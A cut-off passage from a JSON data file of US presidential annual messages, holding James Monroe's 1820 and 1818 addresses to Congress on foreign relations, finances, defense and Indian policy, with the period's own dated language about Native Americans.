+    "speech": "Fellow-Citizens of the Senate and House of Representatives:In communicating to you a just view of public affairs at the commencement\nof your present labors, I do it with great satisfaction, because, taking\nall circumstances into consideration which claim attention, I see much\ncause to rejoice in the felicity of our situation. In making this remark I\ndo not wish to be understood to imply that an unvaried prosperity is to be\nseen in every interest of this great community. In the progress of a nation\ninhabiting a territory of such vast extent and great variety of climate,\nevery portion of which is engaged in foreign commerce and liable to be\naffected in some degree by the changes which occur in the condition and\nregulations of foreign countries, it would be strange if the produce of our\nsoil and the industry and enterprise of our fellow citizens received at all\ntimes and in every quarter an uniform and equal encouragement. This would\nbe more than we would have a right to expect under circumstances the most\nfavorable.Pressures on certain interests, it is admitted, have been felt; but\nallowing to these their greatest extent, they detract but little from the\nforce of the remarks already made. In forming a just estimate of our\npresent situation it is proper to look at the whole in the outline as well\nas in the detail. A free, virtuous, and enlightened people know well the\ngreat principles and causes on which their happiness depends, and even\nthose who suffer most occasionally in their transitory concerns find great\nrelief under their sufferings from the blessings which they otherwise enjoy\nand in the consoling and animating hope which they administer.From whence do these pressures come? Not from a Government which is founded\nby, administered for, and supported by the people. We trace them to the\npeculiar character of the epoch in which we live, and to the extraordinary\noccurrences which have signalized it. The convulsions with which several of\nthe powers of Europe have been shaken and the long and destructive wars in\nwhich all were engaged, with their sudden transition to a state of peace,\npresenting in the first instance unusual encouragement to our commerce and\nwithdrawing it in the second even within its wonted limit, could not fail\nto be sensibly felt here. The station, too, which we had to support through\nthis long conflict, compelled as we were finally to become a party to it\nwith a principal power, and to make great exertions, suffer heavy losses,\nand to contract considerable debts, disturbing the ordinary course of\naffairs by augmenting to a vast amount the circulating medium, and thereby\nelevating at one time the price of every article above a just standard and\ndepressing it at another below it, had likewise its due effect.It is manifest that the pressures of which we complain have proceeded in a\ngreat measure from these causes. When, then, we take into view the\nprosperous and happy condition of our country in all the great\ncircumstances which constitute the felicity of a nation--every individual\nin the full enjoyment of all his rights, the Union blessed with plenty and\nrapidly rising to greatness under a National Government which operates with\ncomplete effect in every part without being felt in any except by the ample\nprotection which it affords, and under State governments which perform\ntheir equal share, according to a wise distribution of power between them,\nin promoting the public happiness--it is impossible to behold so\ngratifying, so glorious a spectacle without being penetrated with the most\nprofound and grateful acknowledgments to the Supreme Author of All Good for\nsuch manifold and inestimable blessings.Deeply impressed with these sentiments, I can not regard the pressures to\nwhich I have adverted otherwise than in the light of mild and instructive\nadmonitions, warning us of dangers to be shunned in future, teaching us\nlessons of economy corresponding with the simplicity and purity of our\ninstitutions and best adapted to their support, evincing the connection and\ndependence which the various parts of our happy Union have on each other,\nthereby augmenting daily our social incorporation and adding by its strong\nties new strength and vigor to the political; opening a wider range, and\nwith new encouragement, to the industry and enterprise of our fellow\ncitizens at home and abroad, and more especially by the multiplied proofs\nwhich it has accumulated of the great perfection of our most excellent\nsystem of Government, the powerful instrument in the hands of our\nAll-merciful Creator in securing to us these blessings.Happy as our situation is, it does not exempt us from solicitude and care\nfor the future. On the contrary, as the blessings which we enjoy are great,\nproportionably great should be our vigilance, zeal, and activity to\npreserve them. Foreign wars may again expose us to new wrongs, which would\nimpose on us new duties for which we ought to be prepared. The state of\nEurope is unsettled, and how long peace may be preserved is altogether\nuncertain; in addition to which we have interests of our own to adjust\nwhich will require particular attention. A correct view of our relations\nwith each power will enable you to form a just idea of existing\ndifficulties, and of the measures of precaution best adapted to them.Respecting our relations with Spain nothing explicit can now be\ncommunicated. On the adjournment of Congress in May last the minister\nplenipotentiary of the United States at Madrid was instructed to inform the\nGovernment of Spain that if His Catholic Majesty should then ratify the\ntreaty this Government would accept the ratification so far as to submit to\nthe decision of the Senate the question whether such ratification should be\nreceived in exchange for that of the United States heretofore given.By letters from the minister of the United States to the Secretary of State\nit appears that a communication in conformity with his instructions had\nbeen made to the Government of Spain, and that the Cortes had the subject\nunder consideration. The result of the deliberations of that body, which is\ndaily expected, will be made known to Congress as soon as it is received.\nThe friendly sentiment which was expressed on the part of the United States\nin the message of the 9th of May last is still entertained for Spain.Among the causes of regret, however, which are inseparable from the delay\nattending this transaction it is proper to state that satisfactory\ninformation has been received that measures have been recently adopted by\ndesigning persons to convert certain parts of the Province of East Florida\ninto depots for the reception of foreign goods, from whence to smuggle them\ninto the United States. By opening a port within the limits of Florida,\nimmediately on our boundary where there was no settlement, the object could\nnot be misunderstood. An early accommodation of differences will, it is\nhoped, prevent all such fraudulent and pernicious practices, and place the\nrelations of the two countries on a very amicable and permanent basis.The commercial relations between the United States and the British colonies\nin the West Indies and on this continent have undergone no change, the\nBritish Government still preferring to leave that commerce under the\nrestriction heretofore imposed on it on each side. It is satisfactory to\nrecollect that the restraints resorted to by the United States were\ndefensive only, intended to prevent a monopoly under British regulations in\nfavor of Great Britain, as it likewise is to know that the experiment is\nadvancing in a spirit of amity between the parties.The question depending between the United States and Great Britain\nrespecting the construction of the first article of the treaty of Ghent has\nbeen referred by both Governments to the decision of the Emperor of Russia,\nwho has accepted the umpirage.An attempt has been made with the Government of France to regulate by\ntreaty the commerce between the two countries on the principle of\nreciprocity and equality. By the last communication from the minister\nplenipotentiary of the United States at Paris, to whom full power had been\ngiven, we learn that the negotiation has been commenced there; but serious\ndifficulties having occurred, the French Government had resolved to\ntransfer it to the United States, for which purpose the minister\nplenipotentiary of France had been ordered to repair to this city, and\nwhose arrival might soon be expected. It is hoped that this important\ninterest may be arranged on just conditions and in a manner equally\nsatisfactory to both parties. It is submitted to Congress to decide, until\nsuch arrangement is made, how far it may be proper, on the principle of the\nact of the last session which augmented the tonnage duty on French vessels,\nto adopt other measures for carrying more completely into effect the policy\nof that act.The act referred to, which imposed new tonnage on French vessels, having\nbeen in force from and after the first day of July, it has happened that\nseveral vessels of that nation which had been dispatched from France before\nits existence was known have entered the ports of the United States, and\nbeen subject to its operation, without that previous notice which the\ngeneral spirit of our laws gives to individuals in similar cases. The\nobject of that law having been merely to countervail the inequalities which\nexisted to the disadvantage of the United States in their commercial\nintercourse with France, it is submitted also to the consideration of\nCongress whether, in the spirit of amity and conciliation which it is no\nless the inclination than the policy of the United States to preserve in\ntheir intercourse with other powers, it may not be proper to extend relief\nto the individuals interested in those cases by exempting from the\noperation of the law all those vessels which have entered our ports without\nhaving had the means of previously knowing the existence of the additional\nduty.The contest between Spain and the colonies, according to the most authentic\ninformation, is maintained by the latter with improved success. The\nunfortunate divisions which were known to exist some time since at Buenos\nAyres it is understood still prevail. In no part of South America has Spain\nmade any impression on the colonies, while in many parts, and particularly\nin Venezuela and New Grenada, the colonies have gained strength and\nacquired reputation, both for the management of the war in which they have\nbeen successful and for the order of the internal administration.The late change in the Government of Spain, by the reestablishment of the\nconstitution of 1812, is an event which promises to be favorable to the\nrevolution. Under the authority of the Cortes the Congress of Angostura was\ninvited to open a negotiation for the settlement of differences between the\nparties, to which it was replied that they would willingly open the\nnegotiation provided the acknowledgment of their independence was made its\nbasis, but not otherwise.No facts are known to this Government to warrant the belief that any of the\npowers of Europe will take part in the contest, whence it may be inferred,\nconsidering all circumstances which must have weight in producing the\nresult, that an adjustment will finally take place on the basis proposed by\nthe colonies. To promote that result by friendly counsels with other\npowers, including Spain herself, has been the uniform policy of this\nGovernment.In looking to the internal concerns of our country you will, I am\npersuaded, derive much satisfaction from a view of the several objects to\nwhich, in the discharge of your official duties, your attention will be\ndrawn. Among these none holds a more important place than the public\nrevenue, from the direct operation of the power by which it is raised on\nthe people, and by its influence in giving effect to every other power of\nthe Government. The revenue depends on the resources of the country, and\nthe facility by which the amount required is raised is a strong proof of\nthe extent of the resources and of the efficiency of the Government.A few prominent facts will place this great interest in a just light before\nyou. On September 30th, 1815, the funded and floating debt of the United\nStates was estimated at $119,635,558. If to this sum be added the amount\nof 5% stock subscribed to the Bank of the United States, the amount of\nMississippi stock and of the stock which was issued subsequently to that\ndate, and as afterwards liquidated, to $158,713,049.On September 30th, 1820, it amounted to $91,993,883, having been reduced\nin that interval by payments $66,879,165. During this term the expenses\nof the Government of the United States were likewise defrayed in every\nbranch of the civil, military, and naval establishments; the public\nedifices in this city have been rebuilt with considerable additions;\nextensive fortifications have been commenced, and are in a train of\nexecution; permanent arsenals and magazines have been erected in various\nparts of the Union; our Navy has been considerably augmented, and the\nordnance, munitions of war, and stores of the Army and Navy, which were\nmuch exhausted during the war, have been replenished.By the discharge of so large a proportion of the public debt and the\nexecution of such extensive and important operations in so short a time a\njust estimate may be formed of the great extent of our national resources.\nThe demonstration is the more complete and gratifying when it is\nrecollected that the direct tax and excise were repealed soon after the\ntermination of the late war, and that the revenue applied to these purposes\nhas been derived almost wholly from other sources.The receipts into the Treasury from every source to the 30th of September\nlast have amounted to $16,794,107.66, whilst the public expenditures to the\nsame period amounted to $16,871,534.72, leaving in the Treasury on that day\na sum estimated at $1.95 millions. For the probable receipts of the\nfollowing year I refer you to the statement which will be transmitted from\nthe Treasury.The sum of $3 millions authorized to be raised by loan by an act of the\nlast session of Congress has been obtained upon terms advantageous to the\nGovernment, indicating not only an increased confidence in the faith of the\nnation, but the existence of a large amount of capital seeking that mode of\ninvestment at a rate of interest not exceeding 5% per annum.It is proper to add that there is now due to the Treasury for the sale of\npublic lands $22,996,545. In bringing this subject to view I consider it my\nduty to submit to Congress whether it may not be advisable to extend to the\npurchasers of these lands, in consideration of the unfavorable change which\nhas occurred since the sales, a reasonable indulgence. It is known that the\npurchases were made when the price of every article had risen to its\ngreatest height, and the installments are becoming due at a period of great\ndepression. It is presumed that some plan may be devised by the wisdom of\nCongress, compatible with the public interest, which would afford great\nrelief to these purchasers.Considerable progress has been made during the present season in examining\nthe coast and its various bays and other inlets, in the collection of\nmaterials, and in the construction of fortifications for the defense of the\nUnion at several of the positions at which it has been decided to erect\nsuch works. At Mobile Point and Dauphin Island, and at the Rigolets,\nleading to Lake Pontchartrain, materials to a considerable amount have been\ncollected, and all the necessary preparations made for the commencement of\nthe works. At Old Point Comfort, at the mouth of the James River, and at\nthe Rip-Rap, on the opposite shore in the Chesapeake Bay, materials to a\nvast amount have been collected; and at the Old Point some progress has\nbeen made in the construction of the fortification, which is on a very\nextensive scale. The work at Fort Washington, on this river, will be\ncompleted early in the next spring, and that on the Pea Patch, in the\nDelaware, in the course of the next season. Fort Diamond, at the Narrows,\nin the harbor of New York, will be finished this year. The works at\nBoston, New York, Baltimore, Norfolk, Charleston, and Niagara have been\nin part repaired, and the coast of North Carolina, extending south to\nCape Fear, has been examined, as have likewise other parts of the coast\neastward of Boston.Great exertions have been made to push forward these works with the utmost\ndispatch possible; but when their extent is considered, with the important\npurposes for which they are intended--the defense of the whole coast, and,\nin consequence, of the whole interior--and that they are to last for ages,\nit will be manifest that a well-digested plan, founded on military\nprinciples, connecting the whole together, combining security with economy,\ncould not be prepared without repeated examinations of the most exposed and\ndifficult parts, and that it would also take considerable time to collect\nthe materials at the several points where they would be required.From all the light that has been shed on this subject I am satisfied that\nevery favorable anticipation which has been formed of this great\nundertaking will be verified, and that when completed it will afford very\ngreat if not complete protection to our Atlantic frontier in the event of\nanother war--protection sufficient to counterbalance in a single campaign\nwith an enemy powerful at sea the expense of all these works, without\ntaking into the estimate the saving of the lives of so many of our\ncitizens, the protection of our towns and other property, or the tendency\nof such works to prevent war.Our military positions have been maintained at Belle Point, on the\nArkansas, at Council Bluffs, on the Missouri, at St. Peters, on the\nMississippi, and at Green Bay, on the upper Lakes. Commodious barracks have\nalready been erected at most of these posts, with such works as were\nnecessary for their defense. Progress has also been made in opening\ncommunications between them and in raising supplies at each for the support\nof the troops by their own labor, particularly those most remote.With the Indians peace has been preserved and a progress made in carrying\ninto effect the act of Congress making an appropriation for their\ncivilization, with the prospect of favorable results. As connected equally\nwith both these objects, our trade with those tribes is thought to merit\nthe attention of Congress.In their original state game is their sustenance and war their occupation,\nand if they find no employment from civilized powers they destroy each\nother. Left to themselves their extirpation is inevitable.By a judicious regulation of our trade with them we supply their wants,\nadminister to their comforts, and gradually, as the game retires, draw them\nto us. By maintaining posts far in the interior we acquire a more thorough\nand direct control over them, without which it is confidently believed that\na complete change in their manners can never be accomplished. By such\nposts, aided by a proper regulation of our trade with them and a judicious\ncivil administration over them, to be provided for by law, we shall, it is\npresumed, be enabled not only to protect our own settlements from their\nsavage incursions and preserve peace among the several tribes, but\naccomplish also the great purpose of their civilization.Considerable progress has also been made in the construction of ships of\nwar, some of which have been launched in the course of the present year.Our peace with the powers on the coast of Barbary has been preserved, but\nwe owe it altogether to the presence of our squadron in the Mediterranean.\nIt has been found equally necessary to employ some of our vessels for the\nprotection of our commerce in the Indian Sea, the Pacific, and along the\nAtlantic coast. The interests which we have depending in those quarters,\nwhich have been much improved of late, are of great extent and of high\nimportance to the nation as well as to the parties concerned, and would\nundoubtedly suffer if such protection was not extended to them. In\nexecution of the law of the last session for the suppression of the slave\ntrade some of our public ships have also been employed on the coast of\nAfrica, where several captures have already been made of vessels engaged in\nthat disgraceful traffic.", 
+    "name": "James Monroe"
+}
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+{
+    "date": "November 16, 1818", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:The auspicious circumstances under which you will commence the duties of\nthe present session will lighten the burdens inseparable from the high\ntrust committed to you. The fruits of the earth have been unusually\nabundant, commerce has flourished, the revenue has exceeded the most\nfavorable anticipation, and peace and amity are preserved with foreign\nnations on conditions just and honorable to our country. For these\ninestimable blessings we can not but be grateful to that Providence which\nwatches over the destiny of nations.As the term limited for the operation of the commercial convention with\nGreat Britain will expire early in the month of July next, and it was\ndeemed important that there should be no interval during which that portion\nof our commerce which was provided for by that convention should not be\nregulated, either by arrangement between the two Governments or by the\nauthority of Congress, the minister of the United States at London was\ninstructed early in the last summer to invite the attention of the British\nGovernment to the subject, with a view to that object. He was instructed to\npropose also that the negotiation which it was wished to open might extend\nto the general commerce of the two countries, and to every other interest\nand unsettled difference between them in the hope that an arrangement might\nbe made on principles of reciprocal advantage which might comprehend and\nprovide in a satisfactory manner for all these high concerns.I have the satisfaction to state that the proposal was received by the\nBritish Government in the spirit which prompted it, and that a negotiation\nhas been opened at London embracing all these objects. On full\nconsideration of the great extent and magnitude of the trust it was thought\nproper to commit it to not less than two of our distinguished citizens, and\nin consequence the envoy extraordinary and minister plenipotentiary of the\nUnited States at Paris has been associated with our envoy extraordinary and\nminister plenipotentiary at London, to both of whom corresponding\ninstructions have been given, and they are now engaged in the discharge of\nits duties. It is proper to add that to prevent any inconvenience resulting\nfrom the delay incident to a negotiation on so many important subjects it\nwas agreed before entering on it that the existing convention should be\ncontinued for a term not less than eight years.Our relations with Spain remain nearly in the state in which they were at\nthe close of the last session. The convention of 1802, providing for the\nadjustment of a certain portion of the claims of our citizens for injuries\nsustained by spoliation, and so long suspended by the Spanish Government,\nhas at length been ratified by it, but no arrangement has yet been made for\nthe payment of another portion of like claims, not less extensive or well\nfounded, or for other classes of claims, or for the settlement of\nboundaries. These subjects have again been brought under consideration in\nboth countries, but no agreement has been entered into respecting them.In the mean time events have occurred which clearly prove the ill effect of\nthe policy which that Government has so long pursued on the friendly\nrelations of the two countries, which it is presumed is at least of as much\nimportance to Spain as to the United States to maintain. A state of things\nhas existed in the Floridas the tendency of which has been obvious to all\nwho have paid the slightest attention to the progress of affairs in that\nquarter. Throughout the whole of those Provinces to which the Spanish title\nextends the Government of Spain has scarcely been felt. Its authority has\nbeen confined almost exclusively to the walls of Pensacola and St.\nAugustine, within which only small garrisons have been maintained.\nAdventurers from every country, fugitives from justice, and absconding\nslaves have found an asylum there. Several tribes of Indians, strong in the\nnumber of their warriors, remarkable for their ferocity, and whose\nsettlements extend to our limits, inhabit those Provinces.These different hordes of people, connected together, disregarding on the\none side the authority of Spain, and protected on the other by an imaginary\nline which separates Florida from the United States, have violated our laws\nprohibiting the introduction of slaves, have practiced various frauds on\nour revenue, and committed every kind of outrage on our peaceable citizens\nwhich their proximity to us enabled them to perpetrate.The invasion of Amelia Island last year by a small band of adventurers, not\nexceeding one hundred and fifty in number, who wrested it from the\ninconsiderable Spanish force stationed there, and held it several months,\nduring which a single feeble effort only was made to recover it, which\nfailed, clearly proves how completely extinct the Spanish authority had\nbecome, as the conduct of those adventurers while in possession of the\nisland as distinctly shows the pernicious purposes for which their\ncombination had been formed.This country had, in fact, become the theater of every species of lawless\nadventure. With little population of its own, the Spanish authority almost\nextinct, and the colonial governments in a state of revolution, having no\npretension to it, and sufficiently employed in their own concerns, it was\nin great measure derelict, and the object of cupidity to every adventurer.\nA system of buccaneering was rapidly organizing over it which menaced in\nits consequences the lawful commerce of every nation, and particularly the\nUnited States, while it presented a temptation to every people, on whose\nseduction its success principally depended.In regard to the United States, the pernicious effect of this unlawful\ncombination was not confined to the ocean; the Indian tribes have\nconstituted the effective force in Florida. With these tribes these\nadventurers had formed at an early period a connection with a view to avail\nthemselves of that force to promote their own projects of accumulation and\naggrandizement. It is to the interference of some of these adventurers, in\nmisrepresenting the claims and titles of the Indians to land and in\npracticing on their savage propensities, that the Seminole war is\nprincipally to be traced. Men who thus connect themselves with savage\ncommunities and stimulate them to war, which is always attended on their\npart with acts of barbarity the most shocking, deserve to be viewed in a\nworse light than the savages. They would certainly have no claim to an\nimmunity from the punishment which, according to the rules of warfare\npracticed by the savages, might justly be inflicted on the savages\nthemselves.If the embarrassments of Spain prevented her from making an indemnity to\nour citizens for so long a time from her treasury for their losses by\nspoliation and otherwise, it was always in her power to have provided it by\nthe cession of this territory. Of this her Government has been repeatedly\napprised, and the cession was the more to have been anticipated as Spain\nmust have known that in ceding it she would likewise relieve herself from\nthe important obligation secured by the treaty of 1795 and all other\ncompromitments respecting it. If the United States, from consideration of\nthese embarrassments, declined pressing their claims in a spirit of\nhostility, the motive ought at least to have been duly appreciated by the\nGovernment of Spain. It is well known to her Government that other powers\nhave made to the United States an indemnity for like losses sustained by\ntheir citizens at the same epoch.There is nevertheless a limit beyond which this spirit of amity and\nforbearance can in no instance be justified. If it was proper to rely on\namicable negotiation for an indemnity for losses, it would not have been so\nto have permitted the inability of Spain to fulfill her engagements and to\nsustain her authority in the Floridas to be perverted by foreign\nadventurers and savages to purposes so destructive to the lives of our\nfellow citizens and the highest interests of the United States.The right of self defense never ceases. It is among the most sacred, and\nalike necessary to nations and to individuals, and whether the attack be\nmade by Spain herself or by those who abuse her power, its obligation is\nnot the less strong.The invaders of Amelia Island had assumed a popular and respected title\nunder which they might approach and wound us. As their object was\ndistinctly seen, and the duty imposed on the Executive by an existing law\nwas profoundly felt, that mask was not permitted to protect them. It was\nthought incumbent on the United States to suppress the establishment, and\nit was accordingly done. The combination in Florida for the unlawful\npurposes stated, the acts perpetrated by that combination, and, above all,\nthe incitement of the Indians to massacre our fellow citizens of every age\nand of both sexes, merited a like treatment and received it.In pursuing these savages to an imaginary line in the woods it would have\nbeen the height of folly to have suffered that line to protect them. Had\nthat been done the war could never cease. Even if the territory had been\nexclusively that of Spain and her power complete over it, we had a right by\nthe law of nations to follow the enemy on it and to subdue him there. But\nthe territory belonged, in a certain sense at least, to the savage enemy\nwho inhabited it; the power of Spain had ceased to exist over it, and\nprotection was sought under her title by those who had committed on our\ncitizens hostilities which she was bound by treaty to have prevented, but\nhad not the power to prevent. To have stopped at that line would have given\nnew encouragement to these savages and new vigor to the whole combination\nexisting there in the prosecution of all its pernicious purposes.In suppressing the establishment at Amelia Island no unfriendliness was\nmanifested toward Spain, because the post was taken from a force which had\nwrested it from her. The measure, it is true, was not adopted in concert\nwith the Spanish Government or those in authority under it, because in\ntransactions connected with the war in which Spain and the colonies are\nengaged it was thought proper in doing justice to the United States to\nmaintain a strict impartiality toward both the belligerent parties without\nconsulting or acting in concert with either. It gives me pleasure to state\nthat the Governments of Buenos Ayres and Venezuela, whose names were\nassumed, have explicitly disclaimed all participation in those measures,\nand even the knowledge of them until communicated by this Government, and\nhave also expressed their satisfaction that a course of proceedings had\nbeen suppressed which if justly imputable to them would dishonor their\ncause.In authorizing Major-General Jackson to enter Florida in pursuit of the\nSeminoles care was taken not to encroach on the rights of Spain. I regret\nto have to add that in executing this order facts were disclosed respecting\nthe conduct of the officers of Spain in authority there in encouraging the\nwar, furnishing munitions of war and other supplies to carry it on, and in\nother acts not less marked which evinced their participation in the hostile\npurposes of that combination and justified the confidence with which it\ninspired the savages that by those officers they would be protected.A conduct so incompatible with the friendly relations existing between the\ntwo countries, particularly with the positive obligations of the 5th\narticle of the treaty of 1795, by which Spain was bound to restrain, even\nby force, those savages from acts of hostility against the United States,\ncould not fail to excite surprise. The commanding general was convinced\nthat he should fail in his object, that he should in effect accomplish\nnothing, if he did not deprive those savages of the resource on which they\nhad calculated and of the protection on which they had relied in making the\nwar. As all the documents relating to this occurrence will be laid before\nCongress, it is not necessary to enter into further detail respecting it.Although the reasons which induced Major-General Jackson to take these\nposts were duly appreciated, there was nevertheless no hesitation in\ndeciding on the course which it became the Government to pursue. As there\nwas reason to believe that the commanders of these posts had violated their\ninstructions, there was no disposition to impute to their Government a\nconduct so unprovoked and hostile. An order was in consequence issued to\nthe general in command there to deliver the posts--Pensacola\nunconditionally to any person duly authorized to receive it, and St. Marks,\nwhich is in the heart of the Indian country, on the arrival of a competent\nforce to defend it against those savages and their associates.In entering Florida to suppress this combination no idea was entertained of\nhostility to Spain, and however justifiable the commanding general was, in\nconsequence of the misconduct of the Spanish officers, in entering St.\nMarks and Pensacola to terminate it by proving to the savages and their\nassociates that they should not be protected even there, yet the amicable\nrelations existing between the United States and Spain could not be altered\nby that act alone. By ordering the restitution of the posts those relations\nwere preserved. To a change of them the power of the Executive is deemed\nincompetent; it is vested in Congress only.By this measure, so promptly taken, due respect was shown to the Government\nof Spain. The misconduct of her officers has not been imputed to her. She\nwas enabled to review with candor her relations with the United States and\nher own situation, particularly in respect to the territory in question,\nwith the dangers inseparable from it, and regarding the losses we have\nsustained for which indemnity has been so long withheld, and the injuries\nwe have suffered through that territory, and her means of redress, she was\nlikewise enabled to take with honor the course best calculated to do\njustice to the United States and to promote her own welfare.Copies of the instructions to the commanding general, of his correspondence\nwith the Secretary of War, explaining his motives and justifying his\nconduct, with a copy of the proceedings of the courts-martial in the trial\nof Arbuthnot and Ambristie, and of the correspondence between the Secretary\nof State and the minister plenipotentiary of Spain near this Government,\nand of the minister plenipotentiary of the United States at Madrid with the\nGovernment of Spain, will be laid before Congress.The civil war which has so long prevailed between Spain and the Provinces\nin South America still continues, without any prospect of its speedy\ntermination. The information respecting the condition of those countries\nwhich has been collected by the commissioners recently returned from thence\nwill be laid before Congress in copies of their reports, with such other\ninformation as has been received from other agents of the United States.It appears from these communications that the Government at Buenos Ayres\ndeclared itself independent in July, 1816, having previously exercised the\npower of an independent Government, though in the name of the King of\nSpain, from the year 1810; that the Banda Oriental, Entre Rios, and\nParaguay, with the city of Santa Fee, all of which are also independent,\nare unconnected with the present Government of Buenos Ayres; that Chili has\ndeclared itself independent and is closely connected with Buenos Ayres;\nthat Venezuela has also declared itself independent, and now maintains the\nconflict with various success; and that the remaining parts of South\nAmerica, except Monte Video and such other portions of the eastern bank of\nthe La Plata as are held by Portugal, are still in the possession of Spain\nor in a certain degree under her influence.By a circular note addressed by the ministers of Spain to the allied\npowers, with whom they are respectively accredited, it appears that the\nallies have undertaken to mediate between Spain and the South American\nProvinces, and that the manner and extent of their interposition would be\nsettled by a congress which was to have met at Aix-la-Chapelle in September\nlast. From the general policy and course of proceeding observed by the\nallied powers in regard to this contest it is inferred that they will\nconfine their interposition to the expression of their sentiments,\nabstaining from the application of force. I state this impression that\nforce will not be applied with the greater satisfaction because it is a\ncourse more consistent with justice and likewise authorizes a hope that the\ncalamities of the war will be confined to the parties only, and will be of\nshorter duration.From the view taken of this subject, founded on all the information that we\nhave been able to obtain, there is good cause to be satisfied with the\ncourse heretofore pursued by the United States in regard to this contest,\nand to conclude that it is proper to adhere to it, especially in the\npresent state of affairs.I have great satisfaction in stating that our relations with France,\nRussia, and other powers continue on the most friendly basis.In our domestic concerns we have ample cause of satisfaction. The receipts\ninto the Treasury during the three first quarters of the year have exceeded\n$17 millions.After satisfying all the demands which have been made under existing\nappropriations, including the final extinction of the old 6% stock and the\nredemption of a moiety of the Louisiana debt, it is estimated that there\nwill remain in the Treasury on the 1st day of January next more than $2\nmillions.It is ascertained that the gross revenue which has accrued from the customs\nduring the same period amounts to $21 millions, and that the revenue of\nthe whole year may be estimated at not less than $26 millions. The sale\nof the public lands during the year has also greatly exceeded, both in\nquantity and price, that of any former year, and there is just reason to\nexpect a progressive improvement in that source of revenue.It is gratifying to know that although the annual expenditure has been\nincreased by the act of the last session of Congress providing for\nRevolutionary pensions to an amount about equal to the proceeds of the\ninternal duties which were then repealed, the revenue for the ensuing year\nwill be proportionally augmented, and that whilst the public expenditure\nwill probably remain stationary, each successive year will add to the\nnational resources by the ordinary increase of our population and by the\ngradual development of our latent sources of national prosperity.The strict execution of the revenue laws, resulting principally from the\nsalutary provisions of the act of the 20th of April last amending the\nseveral collection laws, has, it is presumed, secured to domestic\nmanufactures all the relief that can be derived from the duties which have\nbeen imposed upon foreign merchandise for their protection. Under the\ninfluence of this relief several branches of this important national\ninterest have assumed greater activity, and although it is hoped that\nothers will gradually revive and ultimately triumph over every obstacle,\nyet the expediency of granting further protection is submitted to your\nconsideration.The measures of defense authorized by existing laws have been pursued with\nthe zeal and activity due to so important an object, and with all the\ndispatch practicable in so extensive and great an undertaking. The survey\nof our maritime and inland frontiers has been continued, and at the points\nwhere it was decided to erect fortifications the work has been commenced,\nand in some instances considerable progress has been made. In compliance\nwith resolutions of the last session, the Board of Commissioners were\ndirected to examine in a particular manner the parts of the coast therein\ndesignated and to report their opinion of the most suitable sites for two\nnaval depots. This work is in a train of execution. The opinion of the\nBoard on this subject, with a plan of all the works necessary to a general\nsystem of defense so far as it has been formed, will be laid before\nCongress in a report from the proper department as soon as it can be\nprepared.In conformity with the appropriations of the last session, treaties have\nbeen formed with the Quapaw tribe of Indians, inhabiting the country on the\nArkansaw, and the Great and Little Osages north of the White River; with\nthe tribes in the State of Indiana; with the several tribes within the\nState of Ohio and the Michigan Territory, and with the Chickasaws, by which\nvery extensive cessions of territory have been made to the United States.\nNegotiations are now depending with the tribes in the Illinois Territory\nand with the Choctaws, by which it is expected that other extensive\ncessions will be made. I take great interest in stating that the cessions\nalready made, which are considered so important to the United States, have\nbeen obtained on conditions very satisfactory to the Indians.With a view to the security of our inland frontiers, it has been thought\nexpedient to establish strong posts at the mouth of Yellow Stone River and\nat the Mandan village on the Missouri, and at the mouth of St. Peters on\nthe Mississippi, at no great distance from our northern boundaries. It can\nhardly be presumed while such posts are maintained in the rear of the\nIndian tribes that they will venture to attack our peaceable inhabitants. A\nstrong hope is entertained that this measure will likewise be productive of\nmuch good to the tribes themselves, especially in promoting the great\nobject of their civilization.Experience has clearly demonstrated that independent savage communities can\nnot long exist within the limits of a civilized population. The progress of\nthe latter has almost invariably terminated in the extinction of the\nformer, especially of the tribes belonging to our portion of this\nhemisphere, among whom loftiness of sentiment and gallantry in action have\nbeen conspicuous. To civilize them, and even to prevent their extinction,\nit seems to be indispensable that their independence as communities should\ncease, and that the control of the United States over them should be\ncomplete and undisputed. The hunter state will then be more easily\nabandoned, and recourse will be had to the acquisition and culture of land\nand to other pursuits tending to dissolve the ties which connect them\ntogether as a savage community and to give a new character to every\nindividual. I present this subject to the consideration of Congress on the\npresumption that it may be found expedient and practicable to adopt some\nbenevolent provisions, having these objects in view, relative to the tribes\nwithin our settlements.It has been necessary during the present year to maintain a strong naval\nforce in the Mediterranean and in the Gulf of Mexico, and to send some\npublic ships along the southern coast and to the Pacific Ocean. By these\nmeans amicable relations with the Barbary Powers have been preserved, our\ncommerce has been protected, and our rights respected. The augmentation of\nour Navy is advancing with a steady progress toward the limit contemplated\nby law.I communicate with great satisfaction the accession of another State\n(Illinois) to our Union, because I perceive from the proof afforded by the\nadditions already made the regular progress and sure consummation of a\npolicy of which history affords no example, and of which the good effect\ncan not be too highly estimated. By extending our Government on the\nprinciples of our Constitution over the vast territory within our limits,\non the Lakes and the Mississippi and its numerous streams, new life and\nvigor are infused into every part of our system. By increasing the number\nof the States the confidence of the State governments in their own security\nis increased and their jealousy of the National Government proportionally\ndiminished.The impracticability of one consolidated Government for this great and\ngrowing nation will be more apparent and will be universally admitted.\nIncapable of exercising local authority except for general purposes, the\nGeneral Government will no longer be dreaded. In those cases of a local\nnature and for all the great purposes for which it was instituted its\nauthority will be cherished. Each Government will acquire new force and a\ngreater freedom of action within its proper sphere.Other inestimable advantages will follow. Our produce will be augmented to\nan incalculable amount in articles of the greatest value for domestic use\nand foreign commerce. Our navigation will in like degree be increased, and\nas the shipping of the Atlantic States will be employed in the\ntransportation of the vast produce of the Western country, even those parts\nof the United States which are most remote from each other will be further\nbound together by the strongest ties which mutual interest can create.The situation of this District, it is thought, requires the attention of\nCongress. By the Constitution the power of legislation is exclusively\nvested in the Congress of the United States. In the exercise of this power,\nin which the people have no participation, Congress legislate in all cases\ndirectly on the local concerns of the District. As this is a departure, for\na special purpose, from the general principles of our system, it may merit\nconsideration whether an arrangement better adapted to the principles of\nour Government and to the particular interests of the people may not be\ndevised which will neither infringe the Constitution nor affect the object\nwhich the provision in question was intended to secure. The growing\npopulation, already considerable, and the increasing business of the\nDistrict, which it is believed already interferes with the deliberations of\nCongress on great national concerns, furnish additional motives for\nrecommending this subject to your consideration.When we view the great blessings with which our country has been favored,\nthose which we now enjoy, and the means which we possess of handing them\ndown unimpaired to our latest posterity, our attention is irresistibly\ndrawn to the source from whence they flow. Let us, then, unite in offering\nour most grateful acknowledgments for these blessings to the Divine Author\nof All Good.", 
+    "name": "James Monroe"
+}
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+{
+    "date": "December 2, 1845", 
